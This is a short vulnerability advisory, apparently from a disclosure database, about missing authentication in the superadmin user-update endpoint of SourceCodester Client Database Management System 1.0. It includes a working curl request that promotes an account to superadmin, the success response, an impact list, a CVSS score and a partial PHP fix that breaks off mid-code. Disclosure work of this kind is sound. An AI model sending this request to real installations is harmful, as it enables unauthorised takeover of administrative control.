| 제목 | SourceCodester Client Database Management System (CDMS) 1.0 Improper Handling of Insufficient Privileges |
|---|
| 설명 | An unauthenticated attacker can send the following request:
curl -X POST http://127.0.0.1/cdm/superadmin_user_update.php \
-d "user_id=32" \
-d "firstname=Test" \
-d "lastname=User" \
-d "username=testuser" \
-d "role=superadmin" \
-d "department_assignment=IT" \
-d "id_number=ID999"
Server response:
{"status":"success","message":"User updated successfully!"}
Verification in database:
SELECT user_id, username, role FROM users WHERE user_id=32;
Result:
user_id | username | role
32 | testuser | superadmin
This confirms that privilege escalation is possible without authentication.
???? Impact
An attacker can:
Escalate privileges to superadmin
Modify or delete users
Delete managers
Manipulate system data
Gain full administrative control
This results in complete compromise of confidentiality, integrity, and availability.

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity: Critical
???? Recommended Fix
Implement proper session validation and role-based access control:
Require authenticated session
Verify user role is superadmin
Reject unauthorized requests
Example:
include 'superadmin_session.php';
if ($_SESSION['role'] !== 'superadmin') {
exit('Unauthorized');
